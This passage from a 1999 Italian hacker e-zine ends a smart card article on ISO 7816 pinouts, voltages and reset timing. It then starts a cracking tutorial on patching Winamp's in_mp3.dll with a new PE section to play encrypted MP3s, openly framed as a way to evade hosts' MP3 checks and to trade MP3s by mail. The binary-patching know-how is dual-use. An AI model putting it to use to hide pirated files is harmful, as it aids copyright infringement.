caricata di statica, occhio quindi a come la trattate... - Flessibilita' Per essere accettate le card devono resistere a 2 diversi tipi di flessione senza danneggiarsi: - Flessione sul lato largo Flessione di 2 cm in altezza per un periodo di 30 flessioni al minuto per 33 minuti circa (1000 flessioni complessive) - Flessione sul lato corto Flessione di 1 cm in altezza per un periodo di 30 flessioni al minuto per 33 minuti circa (1000 flessioni complessive) E qui sotto c'e' lo schemino: __________ ___,---' '---,___ ^ _,--' '--,_ | f ,' ', v ISO 7816-2 Ovvero 'Anche la posizione e' importante' Logicamente i contatti dorati della card non possono venire piazzati a caso ne' tantomeno avere dimensioni assurde, bisogna attenersi a queste misure! Dimensione minima dei contatti: ,-------------, ^ | | | | | | 1.7mm | | | '-------------' v :<----------->: 2mm Posizione dei contatti (sia per lo standard ISO 7816 che per l'AFNOR, sapere tutti e due male non fa...): ,----------------------------------------------------------------- | : : | : C | D : | : ---- ,----, ,----, | : | C8 | | C4 | -, | ------- '----' '----' | | ,----, ,----, | | | C7 | | C3 | | | '----' '----' | | ,----, ,----, | AFNOR | | C6 | | C2 | | | '----' '----' | | ,----, ,----, | | | C5 | | C1 | -' | '----' '----' | ,----, ,----, | | C1 | | C5 | -, | '----' '----' | | ,----, ,----, | | | C2 | | C6 | | | '----' '----' | ISO 7816 | ,----, ,----, | | | C3 | | C7 | | | '----' '----' | | ,----, ,----, | | | C4 | | C8 | -' | '----' '----' | : : | A : : |<------------------------------>: : | : | B : |<----------------------------------->: | Valori dei pin: C1 : Vcc = 5V C5 : Gnd C2 : Reset C6 : Vpp C3 : Clock C7 : I/O C4 : RIS C8 : RIS I contatti C4 e C8 sono riservati a future implementazioni. Invece il contatto C6 e' conservato per compatibilita' con le vecchie card che necessitavano di una doppia corrente di alimentazione oppure per le card telefoniche francesi (infatti su questo contatto sono presenti +21 Volts per la programmazione ovvero per scrivere quanti crediti sono scalati). Posizionamento relativo dei contatti (valori espressi in millimetri): | A B C D | A B C D ----+------------------------------- ----+------------------------------- C1 | 10.25 12.25 19.23 20.93 C1 | 17.87 19.87 16.69 18.39 C2 | 10.25 12.25 21.77 23.47 C2 | 17.87 19.87 14.15 15.85 C3 | 10.25 12.25 24.31 26.01 C3 | 17.87 19.87 11.61 13.31 C4 | 10.25 12.25 26.85 28.55 C4 | 17.87 19.87 9.07 10.77 C5 | 17.87 19.87 19.23 20.93 C5 | 10.25 12.25 16.69 18.39 C6 | 17.87 19.87 21.77 23.47 C6 | 10.25 12.25 14.15 15.85 C7 | 17.87 19.87 24.31 26.01 C7 | 10.25 12.25 11.61 13.31 C8 | 17.87 19.87 28.85 28.55 C8 | 10.25 12.25 9.07 10.77 ----+------------------------------- ----+------------------------------- ISO 7816 AFNOR Le posizioni AFNOR non sono a standard ISO (altrimenti perche' avrebbero un nome diverso? :-) , ma sono mantenute per tutte quelle card che necessitano sia di chip che di banda magnetica per non essere costretti a cambiare tutti i terminali di lettura del mondo. Infatti il metodo AFNOR non e' standard, ma lo e' diventato de facto per tutte le applicazioni (solitamente in ambiti aziendali) dove prima c'era il badge magnetico fuori standard e dopo e' stato integrato con una card con contatti. ISO 7816-3 Ovvero 'Elettrizzami tutta' Come avete visto i contatti della card (che di seguito chiamero' pin) hanno dei valori ben definiti, il bello e' capire a cosa servono tali valori... Vediamo di spiegarlo in breve: sono segnali elettrici che servono a pilotare le card che hanno a bordo un microcontrollore programmato e rispondono solo a determinati impulsi, scoprite quali continuando a leggere! I/O : I/O seriale per la comunicazione fra il chip interno ed il lettore. Tenete presente che a seconda del tipo di card puo' essere sia in modalita' sincrona (quindi viene usato il pin I/O in concomitanza con il pin CLK) sia asincrona. VPP : Input del voltaggio per la programmazione. Il valore in volts puo' essere di +5, +12, +21 oppure +25, ma e' una cosa insolita trovare delle card che ne necessitino, escluse le card telefoniche francesi. GND : Massa di riferimento sia per il valore sia di 0 Volts sia dello 0 logico. CLK : Clock generato dall'interfaccia necessario con le carte attuali, altrimenti la comunicazione non ha luogo (ricordate? seriale sincrona con il pin di I/O). Generalmente e' un'onda quadra continua con una frequenza di almeno 1 megahertz. Per le card asincrone e' ugualmente necessario. RST : Ingresso per il reset della card, che puo' essere sia generato dalla card e trasmesso al lettore sia l'inverso. Se viene generato internamente dalla card si sfrutta il VCC generando impulsi che creano il reset. Ogni chipcard, a seconda dal chip che ha a bordo, ha un segnale di reset diverso. VCC : Input voltaggio. Solitamente e' di +5 Volts con al massimo 200 milliAmpere anche se gli attuali chip ne assorbono da 14 a 20 milliAmpere come massimo. RIS : Sono contatti riservati ad applicazioni future oppure sfruttati da card proprietarie con lettori e software proprietari per applicazioni particolari. Per quanto ne so le uniche card non italiane che sfruttano questi pin sono quelle mediche tedesche. Per le card italiane che sfruttano questo pin le uniche a disposizione del pubblico sono quelle che hanno i malati di schemio in cura a Napoli; tutta la loro storia medica e' conservata nella card. Valori degli amperaggi e dei voltaggi Dato che e' molto comodo usare le abbreviazioni, le ho usate... Cosi' adesso vi tocca pure ricordarvi tutte queste sigle... Abbreviazioni: Via : input voltaggio a alto livello Vib : input voltaggio a basso livello Vcc : voltaggio di alimentazione su VCC Vpp : voltaggio di programmazione su VPP Voh : output voltaggio a alto livello Vol : output voltaggio a basso livello tr : aumenta il tempo dell'ampiezza del segnale fra il 10% ed il 90% tf : diminuisce il tempo dell'ampiezza del segnale fra il 90% ed il 10% Iih : input amperaggio a alto livello Iil : input amperaggio a basso livello Icc : amperaggio di alimentazione su VCC Ipp : amperaggio di programmazione su VPP Ioh : output amperaggio a alto livello Iol : output amperaggio a basso livello Cin : input condensatore Cout: output condensatore * I/O Questo contatto e' usato per la trasmissione o la ricezione dei dati in modalita' seriale. In verita' ci sono due metodi di trasmissione cioe' in half duplex a caratteri sincrono oppure in modalita' asincrona in half duplex a blocchi. Tutte e due le modalita' prevedono lo sfruttamento del pin CLK, ma la prima (sincrona) e' definita T0 mentre la seconda (asincrona) e' chiamata T1. Esistono anche altre card che usano protocolli di trasmissione diversi e tutti vanno sotto il nome di protocolli T14. Questi non sono a standard ISO se non per le dimensioni fisiche e quindi non ne trattero', anche perche' sono usate solo in applicazioni particolari da poche ditte (per lo meno in Italia) in modo da legare a loro i clienti che si trovano con un hardware e delle card compatibili con nulla. Un esempio sono le card tipo MediCard. Ritornando a bomba al discorso di base, il pin I/O puo' avere due stati ben definiti ovvero lo stato Z oppure lo stato A. In dettaglio sono: Z Detto anche stato alto o stato mark viene assunto se l'interfaccia e la carta sono in modalita' ricezione o se viene imposto dal trasmettitore. A Chiamato anche stato basso o stato space e' sempre e solo imposto dal trasmettitore. Quando entrambi i capi della linea sono in modalita' ricezione la linea sara' necessariamente in stato Z. Quando ai due capi invece si verifica una trasmissione asincrona lo stato logico della linea e' definito indeterminato. Ovviamente lo stato sia dell'interfaccia che della card in questa modalita' non sara' mai di trasmissione per entrambe. Ok, so che e' una precisazione stupida, ma la ritenevo necessaria... Caratteristiche elettriche del pin di I/O in condizioni operative normali ,-------------+--------------------------------+---------+---------+------, |Abbreviazione| Condizione | Minimo | Massimo |Unita | +-------------+--------+-----------------------+---------+---------+------+ | |Entrambe| Iih max = +/- 500uA | 2 | VCC | V | | Via | (1) +-----------------------+---------+---------+------+ | | oppure | Iih max = +/- 50uA | 0.7 VCC | VCC (3) | V | +-------------+--------+-----------------------+---------+---------+------+ | Vib | Iil max = 1mA | 0 | 0.8 | V | +-------------+--------------------------------+---------+---------+------+ | |Entrambe| Iol max = +/- 100uA | 2.4 | VCC | V | | Voh | +-----------------------+---------+---------+------+ | (2) | oppure | Iol max = +/- 20uA | 3.8 | VCC | V | +-------------+--------+-----------------------+---------+---------+------+ | Vol | Iol max = 1mA | 0 | 0.4 | V | +-------------+--------------------------------+---------+---------+------+ | tr, tf | Cin = 30pF; Cout = 30pF | | 1 | us | +-------------+--------------------------------+---------+---------+------+ | (1) Per l'interfaccia tenete presente entrambi i valori. | | (2) Si parte dal presupposto che una resistenza sia usata dalla | | interfaccia (almeno da 20K Ohm). | | (3) Il valore dovrebbe essere compreso tra 0.3V e VCC+0.3V. | '-------------------------------------------------------------------------' * VPP Questo contatto dovrebbe servire a dare il voltaggio necessario alla programmazione o alla cancellazione dei dati contenuti nella card. Diverse card hanno a bordo una EEPROM al posto di un chip normale e sfruttano questo voltaggio per la cancellazione dei dati. Generalmente il valore in volts di VPP e' pari a +5 V, ma esistono anche card che richiedono +12, +21 oppure anche +25, ma sono abbastanza rare. Per esempio, che io sappia, solo le carte telefoniche francesi richiedono +21V. Comunque, per il pin VPP esistono solo 2 possibili stati: sospeso ed attivo. Logicamente il primo stato viene imposto dal lettore alla card e viene traslato nel secondo solo tramite la richiesta proveniente dal lettore. Caratteristiche elettriche del pin VPP in condizioni operative normali ,-------------+---------------------------+---------+---------+------, |Abbreviazione| Condizione | Minimo | Massimo |Unita | +-------------+--------------------- -----+---------+---------+------+ | Vpp | A riposo | 0.95*Vcc| 1.05*Vcc| V | | Ipp |(programmazione NON attiva)| | 20 | mA | +-------------+---------------------------+---------+---------+------+ | Vpp | Funzionante | 0.975*P | 1.025*P | V | | Ipp |(programmazione in corso) | | I | mA | +-------------+---------------------- ----+---------+---------+------+ | La carta da' all'interfaccia i valori di P e di I. | | Questi valori solitamente sono di P=5 e I=50 | '--------------------------------------------------------------------' Il tempo massimo di reazione al comando e' pari a 200 us (microsecondi). Il massimo valore di cambio di voltaggio non deve superare i 2 volts per ogni us. La corrente massima ottenuta moltiplicando il valore di Vpp per il valore di Ipp non deve essere maggiore di 1.5 Watt per secondo. * CLK La frequenza generata dall'interfaccia prende il nome di CLK ed e' determinata da 'fi' quando vi e' la risposta al reset (da ora in poi sara' chiamato ATR ovvero ATR Answer To Reset) oppure da 'fs' per la frequenza alla quale tutte le successive trasmissioni opereranno. L'ampiezza dell'onda per le comunicazioni asincrone dovrebbe essere compresa tra il 45% ed il 55% dell'ampiezza totale per consentire operazioni valide. Tenete presente che quando vi e' l'ATR e quindi il reciproco adattamento al segnale di CLK (quando si passa da 'fi' a 'fs') se l'ampiezza del segnale scende sotto il 45% dell'ampiezza minima stabilita non vi sara' assolutamente comunicazione. Caratteristiche elettriche del pin CLK in condizioni operative normali ,-------------+--------------------------------+---------+---------+------, |Abbreviazione| Condizione | Minimo | Massimo |Unita | +-------------+--------+-----------------------+---------+---------+------+ | |Entrambe| Iih max = +/- 200uA | 2.4 | VCC (2) | V | | | (1) +-----------------------+---------+---------+------+ | Via | oppure | Iih max = +/- 20uA | 0.7*VCC | VCC (2) | V | | | (1) +-----------------------+---------+---------+------+ | | oppure | Iih max = +/- 10uA | VCC-0.7 | VCC (2) | V | +-------------+--------+-----------------------+---------+---------+------+ | Vib | Iil max = +/-200 uA | 0 (2) | 0.5 | V | +-------------+--------------------------------+---------+---------+------+ | tr, tf | Cin = 30pF | |9% dell'onda con| | | | |al massimo:0.5us| +-------------+--------------------------------+---------+---------+------+ | (1) Per l'interfaccia calcolate tutti e tre i valori. | | (2) Il voltaggio di CLK dovrebbe rimanere compreso tra 0.3V e Vcc+0.3V. | '-------------------------------------------------------------------------' * RST Questo pin si occupa, oltre che del reset della card (comando che puo' sia essere generato dalla card che dal lettore), del 'primo contatto' con il mondo esterno. Infatti, in fase di connessione con un lettore e' proprio il segnale di RST che permette di stabilire se la card e' funzionante con quella determinata interfaccia. Caratteristiche elettriche del pin RST in condizioni operative normali ,-------------+--------------------------------+---------+---------+------, |Abbreviazione| Condizione | Minimo | Massimo |Unita | +-------------+--------+-----------------------+---------+---------+------+ | |Entrambe| Iih max = +/- 200uA | 4 | VCC (2) | V | | Via | (1) +-----------------------+---------+---------+------+ | | oppure | Iih max = +/- 10uA | VCC-0.7 | VCC (2) | V | +-------------+--------+-----------------------+---------+---------+------+ | Vib | Iil max = +/- 200uA | 0 (2) | 0.6 | V | +-------------+--------------------------------+---------+---------+------+ | (1) Per l'interfaccia tenete in conto entrambi i valori. | | (2) Il voltaggio sul pin dovrebbe essere compreso tra 0.3V e VCC+0.3V. | '-------------------------------------------------------------------------' * VCC Come gia' detto e' questo il pin che si occupa di dare alimentazione alla carta. Tenete sempre a mente che non dovete MAI superare i valori massimi di voltaggio o, come potete immaginare, potrete anche buttare via la card... Per quanto riguarda invece l'amperaggio bisogna dire che sono davvero poche le card che necessitano di tutti e 200 i milliAmpere, con i chip attuali ne occorrono al massimo 20. Caratteristiche elettriche del pin VCC in condizioni operative normali ,-------------+---------+---------+-----, |Abbreviazione| Minimo | Massimo |Unita| +-------------+---------+---------+-----+ | Vcc | 4.75 | 5.25 | V | | Icc | | 200 | mA | '-------------+---------+---------+-----' Ma come si leggono? Dai, lo so che volete sapere solo questo, ma siccome sono un sadico al quale piace da matti spiegare tutto e lasciare il meglio per dopo, vi serve conoscere ancora qualcosa, ovvero come fa praticamente un terminale a leggere la carta. Eh, lo so, sono un bastardo... Dovete anzitutto determinare che tipo di card state per usare, dato che non esistono solo card da infilare nella classica fessura stile bancomat. Infatti le card si dividono in varie tipologie per quanto riguarda la comunicazione con il lettore: - a contatto E' il metodo sicuramente piu' usato e necessita di un normale inseritore di card (detto anche accoppiatore). Ne esistono di diversi materiali e con diverse caratteristiche sia per quanto riguarda i contatti con i pin della carta, sia per i formati accettati. I piu' diffusi in campo hobbistico sono i connettori a contatti striscianti per card di formato ID-1 (a 4+4 contatti oppure a 8+8 contatti) dal costo variabile fra le 9.980 lire e le 21.000 lire, si trovano in Italia presso RS Components (http://catalogo.rs-components.it/) cercando la voce smart card (8+8 contatti) oppure presso la Futura Elettronica (http://www.futuranet.it) ordinando il kit FT237 (4+4 contatti, 18.000 lirette). Esistono anche degli accoppiatori doppi per chip card (per esempio quelli usati nei decoder satellitari) e sono impiegati principalmente per accedere a servizi dedicati o per un controllo accessi molto sicuro, ma non sono reperibili in commercio come pezzi a se stanti, di solito si ricorre a due accoppiatori normali. Per averne invece una panoramica generale (anche per le card ID-00 ed ID-000) andate sul sito della Amphenol (http://www.amphenol.com) e cercate sotto la voce chip card. Scaricatevi il PDF e tenete a mente che Amphenol Italia non risponde alle e-mail, ma solo al telefono, non vendono a privati e che il minimo quantitativo di accoppiatori che vi mandano e' 10.000 pezzi. Il loro rivenditore e' RS. - a semi-contatto Le card a semi contatto non sono da definire vere card nel senso che al loro interno hanno raramente un chip, ma piu' spesso una bobina magnetica e basano la comunicazione su di essa. Sono anche conosciute con il nome di card a trasponder o trasponder (le card costano 23.000 cadauna e sono nel formato ID-00). Oltre che nel formato card sono anche disponibili nel formato portachiavi (costano circa 21.000 cadauno) e solitamente l'integrato alla base di questi circuiti e' il U2270B della Temic (che costa 8.000 lire solo lui). Le vere card a processore che basano le loro comunicazioni sul semi-contatto hanno un'elettronica molto simile a quelle a prossimita', trattate qui sotto. - a prossimita' Per quanto riguarda la comunicazione a prossimita' invece c'e' da dire che non e' un metodo molto usato dato che la produzione della card costa molto di piu' perche' deve incorporare al suo interno (e non accessibile dall'esterno) sia un chip sia un'antenna. Infatti la comunicazione si svolge via radio usando il protocollo RFID (Radio Frequency IDentification) e la distanza necessaria per operare in tutta sicurezza e' di 10 centimetri. Inoltre il sistema si avvale anche della metodologia definita CDMA (Code Division Multiple Access) per ovviare al fatto che spesso piu' card possono trovarsi a dialogare con il lettore dato che questo tipo di card e' usato in quei posti che necessitano di velocita' di processamento molto elevate e di una non altrettanto elevata sicurezza. - a vicinanza Le card a vicinanza sono invece molto piu' comode delle sorelle a prossimita' perche' permettono una distanza utile di 50 centimetri, ma soffrono ugualmente degli stessi problemi delle loro sorelle minori. L'elettronica di base e' similare alle loro sorelle. - miste La tipica card mista deve avere sia i contatti visibili sia l'antenna in modo da poter funzionare con entrambi i tipi di lettori, ma e' ancor meno usata della precedente. Considerando sia i costi di gestione del lettore piu' elevati, la scarsa sicurezza derivata dal trasferimento dati via radio e l'alto costo della card e' una soluzione adottata solo se c'e' l'effettiva necessita' di integrare nuove funzionalita' in card gia' presenti in azienda, ma sono davvero poche le ditte che hanno abbracciato questa soluzione. Bene, finita la panoramica possiamo iniziare da zero, almeno non ci si perde per strada (e non mi dimentico nulla). I passi da seguire per un corretto uso di una card sono i seguenti: - connessione ed attivazione dei contatti - reset della carta - ATR della card (ovvero handshaking) - scambio di dati - sconnessione e disattivazione dei contatti Benissimo, partiamo dal presupposto che abbiate capito e quindi abbiate il vostro lettore pronto e la vostra tessera pure. Inserite la tessera ed in un tempo di circa 1 secondo siete pronti ad utilizzarla. Perfetto, ma la card cosa fa in questo secondo? Beh, fa un sacco di cose... Anzitutto il connettore (ovvero lo slot nel quale inserite la card) ha al suo interno solitamente due contatti formati da due lamine metalliche (nei modelli hobbistici) che servono a stabilire se la card e' presente (contatto delle lamine) oppure assente (non contatto delle lamine). I modelli piu' professionali usano invece 2 o piu' fotocellule per lo stesso lavoro, ma esistono anche modelli che usano dei braccetti di bloccaggio. Andate a scaricare il catalogo dalla Amphenol per averne una panoramica, per adesso tenete buono il fatto che vi e' il rilevamento della card inserita. A questo punto il lettore si accorge che una card e' stata posta nel suo slot ed inizia la fase di approccio connettendo la sua massa con la massa della card per eliminare la possibile elettricita' statica accumulata. Fatto cio' da' inizio al fluire della tensione sul pin di Vcc fino a portarla al valore di +5V. Durante questa operazione i pin RST, VPP I/O e CLK sono in stato di riposo, poi vi spiego anche perche'. Quando Vcc raggiunge i +5V viene abilitato il CLK e subito dopo parte un singolo segnale diretto a RST poi il tutto si ferma e resta in attesa di una risposta. Se la risposta arriva (ovvero se la card e' del tipo giusto) parte una ATR con la quale il lettore puo' uniformarsi a quanto gli viene comunicato dalla card. Nulla di tremendo, mi pare... Giusto per complicarvi un pochino la lettura e la vita vi inserisco uno schemino per farvi capire... Se invece avete un analizzatore di stati logici oppure una sonda logica potete fare a meno di guardare questo, tanto potete sempre vederlo con i vostri strumenti (vi invidio, si era capito?). Per i comuni mortali invece: _____________________________________________________________________ VCC ___/ ____________________________________________________________________ VPP ____/ t12 :<---------------->: :__________________: RST ______/: \_____________________________________________ : : : t10 t11 : t15 t16 :<---->: :<---->: t14 :<---->: :<---->: : ____ : :<---->: :______: : : _______ CLK_______________:/ 1 \:______:______:/ 2 \:______:/ 3 \_______ : : : t13 : t17 :<---->: :<---->: _____________________________ :______________ :______________ __ I/O ____//////////////////////////////\:_______1______X-X_______2_______X-X__ 5us <= t10 5us <= t11 50us <= t12 ........ RST alto t13 <= 10us Ritardo di propagazione 10us <= t14 <= 100us CLK a livello basso dopo il RST 10us <= t14 <= 100us CLK a livello basso dopo il RST 10us <= t15 <= 50us CLK alto 10us <= t16 <= 100us CLK basso t17 <= 10us Ritardo di propagazione Logicamente cio' vale se una card e' sincrona e risponde in maniera sincrona. Se invece il lettore e' progettato per utilizzare sia card sincrone sia card asincrone si comportera' nello stesso modo, ma prevedera' il segnale di reset sia per la modalita' sincrona che per quella asincrona in questo modo: GND _________________________________________________________________________ __________________________________________________________________ VCC ___| : :|__ :_______________________________________________________________: VPP ____|: |___ : t3 t3 : :<--------------------------->:<------------------------------->: : :_________________________________: RST _____:_____________________________| |___ : : : CLK _____|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||___ : t1 : : :<-------------->: : : : __________:____________:_________________________________: I/O ____XXXXXXXX |____________:_______Answer____________________:XXX (IR) : : : : : t2 : : t1 : :<---->: :<---------->: : : _______________________:_________________________________: I/O ____XXXXXXXX : |______Answer________:XXX (AL) : t2 : : : :<---->: : : : :_________________________________: I/O ____XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: :XXXX (SH) : : : T0 T1 T2 IR : Reset interno t2 <= 200/fi AL : Reset asincrono 400/fi <= t1 <= 40000/fi SH : Reset sincrono 40000/fi <= t3 E qui ci troviamo davanti ad un bel casino: due modalita' di card! Beh, per comodita' per il momento penso sia piu' comodo da usare il protocollo sincrono (anche perche' e' il piu' diffuso), faro' qualche cenno all'asincrono, ma senza addentrarmi troppo... Tenete presente che per entrambe le modalita' valgono queste regolette semplici: la linea di I/O deve essere in stato Z (mark) entro 200 cicli di clock e se la card non da' segni di vita dopo 40.000 cicli viene scartata. Bene, adesso che vi ho introdotto al mondo delle smart card vi lascio un po' a ragionare su cosa avete letto, fino al prossimo numero, nel quale vi spieghero' sia tutto il resto del protocollo di comunicazione della card, sia come sono organizzate internamente le card e anche come costruirci un lettore di card molto simile all'Uniprog dei CCC. So che vorreste saperne di piu', io vi do solo una dritta: http://neworder.box.sk . Troverete qualcosa di vostro interesse, basta che sappiate dove guardare... Perfetto, sono oramai le 2 di notte, vado a dormire felice di aver potuto dire un paio di cose interessanti a degli amici curiosi come me, buonanotte a tutti! ============================================================================== --------------------------------[ EOF 17/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-18100777 1750 144 77372 7031215207 12004 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 18 di 22 ]------------- ============================================================================== -[ CRACKiNG ]----------------------------------------------------------------- ---[ WiNAMP REVERSiNG - .+Ma. Winamp Reversing ovvero fate fare ai vostri programmi quello che vi pare by .+Ma. *********************************** INTRO *********************************** Lo scopo di questo tute e' mostrare quanto sia possibile fare con un po' di manipolazione del PE... e una mente malata (il nick non e' casuale :) Se vi scatenate un po', forse potete riuscire anche voi a combinare qualcosa di altrettanto skizzato... vi sfido a farlo! Adesso sedetevi, fate un bel respiro e provate a seguire il filo del discorso: alla fine del tute, ve lo garantisco, guarderete i vostri programmi da un diverso punto di vista. E ora pronti, partenza... via. CONSUMO: 2 Coke 33cl Succo ai frutti tropicali Pizza (YUM!) MUSICA: Afterhours - Non e' per sempre (l'album, naturalmente crittato ;) *********************************** TOOLS *********************************** File XORer 0.3 build 009 [by JFL] Sadd v1.0b by NeuRaL_NoiSE (thx!) Pebrowse v4.0 by PRUDENS inc. (http://www.spywindows.com) ************************************DOCS************************************* Tutto quello che riuscite a trovare sul PE, in particolare: -"PE-Crypters : uno sguardo da vicino al c.d. "formato" PE" by Kill3xx -"Come inserire una nuova sezione e una nuova funzione in un PE" by Pusillus -I tutorial di NeuRaL_NoiSE. Molti trattano manipolazione del PE... e anche se ne beccate uno che non c'entra nulla varra' comunque la pena leggerlo ;) *************************** THE TUTE, AT LAST :) **************************** Tempo fa mi era venuta un'idea decisamente malata: modificare winamp per fare in modo che potesse leggere mp3 in formato crittato. La cosa non mi sembrava impossibile, ma necessitava di due componenti essenziali: un cracker motivato e del tempo libero. Al momento, mi mancavano entrambe le componenti, mentre ora mi manca solo la seconda... La soluzione e' stata semplice: mi e' bastato togliere un po' di ore al sonno per rendere possibile il "progetto winamp" e scrivere questo tutorial (bambini, non fatelo a casa)! La prima domanda che mi e' stata fatta - praticamente da tutti coloro a cui avevo raccontato di questo progetto - era: "ma a che serve crittare le mp3?". Erm... come facevo a spiegare loro che era solo un esercizio di stile, una operazione fine a se stessa, praticamente una questione di principio? Loro probabilmente (tutte menti illuminate) mi avrebbero capito... ma io dovevo assolutamente trovare qualcosa che mi convincesse dell'utilita' di quello che stavo facendo :) Le conclusioni a cui sono giunto sono le seguenti: - Ormai la maggior parte dei fornitori di spazio web gratuito controlla che non siano presenti mp3 all'interno di un sito, altrimenti lo sega. Siccome il trucco di cambiare l'estensione dei file e' ormai vecchiotto, una buona idea potrebbe essere quella di crittare i file in modo che non siano facilmente riconoscibili; - Se si vuole fare uno scambio massiccio di mp3 su CD spedendole per posta, si rischia parecchio... ora, forse la crittazione dei file all'interno del cd non e' proprio l'idea piu' intelligente, pero' e' sempre un'idea... Si noti che, mentre nel caso precedente e' possibile decrittare l'mp3 dopo averla scaricata da Internet, in questo e' una vera palla decrittarsi un CD intero e rimasterizzarselo: un lettore che decritta on the fly sarebbe il massimo; Risolto il problema del "perche'", ora non mi restava altro che decidere il "come"... infatti, la seconda domanda che mi e' stata fatta era: "Ma perche' non ti programmi direttamente un player di mp3 crittate?". Anche qui, la mia prima risposta era: "perche' sono un reverse engineer, e se non rovescio qualcosa non mi diverto"... ma non era abbastanza convincente. Allora, ho deciso che la versione ufficiale sarebbe stata la seguente: - Dopo aver capito come modificare Winamp per fargli leggere mp3 crittate al posto di quelle normali, sara' possibile eseguire la stessa operazione con praticamente qualsiasi altro programma. Risultato: per quanto semplice possa essere il vostro algoritmo di crittazione, sara' comunque un formato proprietario piu' complicato da decrittare rispetto a quelli standard, in quanto riconosciuto SOLO dalla VOSTRA versione del programma. ... bello, eh? :) A questo punto, si trattava solo di mettersi all'opera. Schematizzando, il mio lavoro (e il vostro, da questo momento) si e' ridotto a questi passi: a) Studio del programma ovvero: "ma proprio una dll mi doveva capitare?" b) Aggiunta di una nuova sezione ovvero: "lo spazio c'e' ma mi piace giocare col PE" (fa pure rima! :) c) Esperimenti ovvero: "evitiamo di crittarci l'HDD, la ram, il monitor e la tastiera" d) API hook ovvero: "un so se il termine e' giusto, ma suonava bene" e) Decrittazione ovvero: "tanta fatica per du' righe di codice? Mavvaff..." f) Crittazione ovvero: "si'... ho fatto un bel lavoro ma ke kappero ascolto adesso?" g) Ascolto ovvero: "Funziona? Naaaaaa... non e' possibile!" Analizziamo ora tutto il processo, passo per passo. *************************************************** a) Studio del programma ovvero: "ma proprio una dll mi doveva capitare?" *************************************************** Ebbene si', la parte di codice di winamp che sovrintende al caricamento delle mp3 e' contenuta proprio in una dll. Per l'esattezza, TUTTE le parti di codice di winamp che sovrintendono al caricamento dei diversi tipi di file audio si possono trovare all'interno di dll. In particolare, quella adibita al caricamento delle mp3 si chiama in_mp3.dll. Come si puo' scoprirlo? Semplicissimo, basta avviare winamp, aprire la finestra di softice con un bel CTRL-D (heh, il double size mode di winamp dovreteselezionarlo da menu ;) e quindi settare un bel breakpoint sull'API ReadFile. Appena restituito il controllo all'esecuzione del programma, il caro vecchio Sice si riaprira' all'interno della chiamata all'API: premete F12 e vi troverete davanti la sezione di codice incriminata e il nome della DLL di cui fa parte. Il fatto che quella su cui dobbiamo lavorare sia una dll comporta sia dei vantaggi sia degli svantaggi: un vantaggio non indifferente e' dato dal fatto che possiamo supporre che tutte le chiamate a readfile per la lettura dell'mp3 siano contenute al suo interno; addirittura, possiamo supporre che TUTTE le chiamate a readfile ci interessino (e un'analisi del codice ce lo confermera'); lo svantaggio, invece, e' che bisogna studiarsi un po' il funzionamento delle dll e del loro PE... ed e' proprio a questo punto che si passa alla fase successiva. ************************************************************************ b) Aggiunta di una nuova sezione ovvero: "lo spazio c'e' ma mi piace giocare col PE" (fa pure rima! :) ************************************************************************ La prima cosa che bisogna fare quando si decide di aggiungere del codice a un programma e' quella di scegliere se inserirlo alla fine di una sezione esistente (sempre che ci sia spazio) o all'interno di una nuova. Per fare questo, occorre innanzitutto dare un'occhiata allo stato attuale delle sezioni: Disassembly of File: in_mp3.dll Code Offset = 00001000, Code Size = 0001E000 Data Offset = 00025000, Data Size = 00005000 Number of Objects = 0005 (dec), Imagebase = 11000000h Object01: .text RVA: 00001000 Offset: 00001000 Size: 0001E000 Flags: 60... Object02: .rdata RVA: 0001F000 Offset: 0001F000 Size: 00006000 Flags: 40... Object03: .data RVA: 00025000 Offset: 00025000 Size: 00005000 Flags: C0... Object04: .rsrc RVA: 0005A000 Offset: 0002A000 Size: 00003000 Flags: 40... Object05: .reloc RVA: 0005D000 Offset: 0002D000 Size: 00003000 Flags: 42... Good. La prima sezione, chiamata .text, e' quella che contiene il codice e, come si puo' vedere con un qualsiasi editor esadecimale, ha un casino di spazio libero alla fine. Infatti, sapendo che essa ha dimensione 1E000 e un offset di 1000 all'interno del file, ci basta dare un'occhiata nei paraggi dell'offset 1F000 con l'hexed per vedere una gran quantita' di zeri. Ne segue che possiamo inserire il codice alla fine della sezione gia' esistente, quindi... creiamo una nuova sezione. :) (Lo so, mi odiate, ma dovete pensare che lo faccio per voi: ricordate che questa lezione cerca di essere il piu' generale possibile, quindi non posso dare per scontato che lo spazio ci sia sempre!) Per creare una nuova sezione sono necessarie alcune conoscenze di base sul formato PE, conoscenze che mi mancavano la prima volta che ho fatto delle prove... le quali hanno avuto esito disastroso, naturalmente ;) Ad ogni modo, procuratevi della buona documentazione (su Ringzer0 dovrebbe esserci piu' o meno tutto quello che vi puo' servire) e vedrete che non avrete troppi problemi a seguirmi. Ah, un consiglio... fate un backup di in_mp3.dll o, meglio ancora, copiatela con un altro nome e modificate la copia (verra' in seguito visualizzata all'interno di winamp come un nuovo plugin!). Io ho chiamato la mia in_mal.dll :) Innanzi tutto, e' necessario individuare le caratteristiche della nostra nuova sezione, cioe' i dati che la caratterizzeranno all'interno dell'header PE. Per questo, recuperiamo innanzitutto un tool per "spiare" il pe originale (PEBrowse), poi una definizione della sections table del PE, come ad esempio quella del "kill3xx", il mitico testo di riferimento ;) Citandolo con ossequioso rispetto: - SName: stringa di 8 byte con il nome della sezione. Scegliete il nome che preferite, io ho usato ".mala" :) - SVirtualSize: contiene la dimensione fisica (vedi SizeOfRawData) dei dati arrotondata ad un multiplo del section aligment. Poiche' il section alignment e' uguale a 1000 (come si puo' leggere all'interno di PEBrowse, nella sezione Optional Header), scegliamo 1000 anche per SVirtualSize. - SVirtualAddress (RVA): permette di calcolare la posizione che avra' la sezione una volta caricata in memoria dal loader. Deve essere un multiplo del section alignment. In questo caso, poiche' l'ultima sezione ha RVA 5D000 e Size 3000, l'RVA di .mala sara' 5D000+3000= 60000, che e' gia' arrotondato al section alignment. - SizeOfRawData: la dimensione fisicamente occupata dai dati su disco, allineata al file alignment. Poiche' file alignment=1000, scegliamo come per SVirtualSize una dimensione di 1000 byte. - PointerToRawData: l'offset "fisico" a cui troverete i dati della sezione. Per questo e' sufficiente sommare l'offset dell'ultima sezione alla SizeOfRawData dell'ultima sezione, arrotondando il risultato al file alignment. Quindi: 2D000 + 3000 = 30000. Anche questo valore e' gia' arrotondato. - SFlags: i flag che 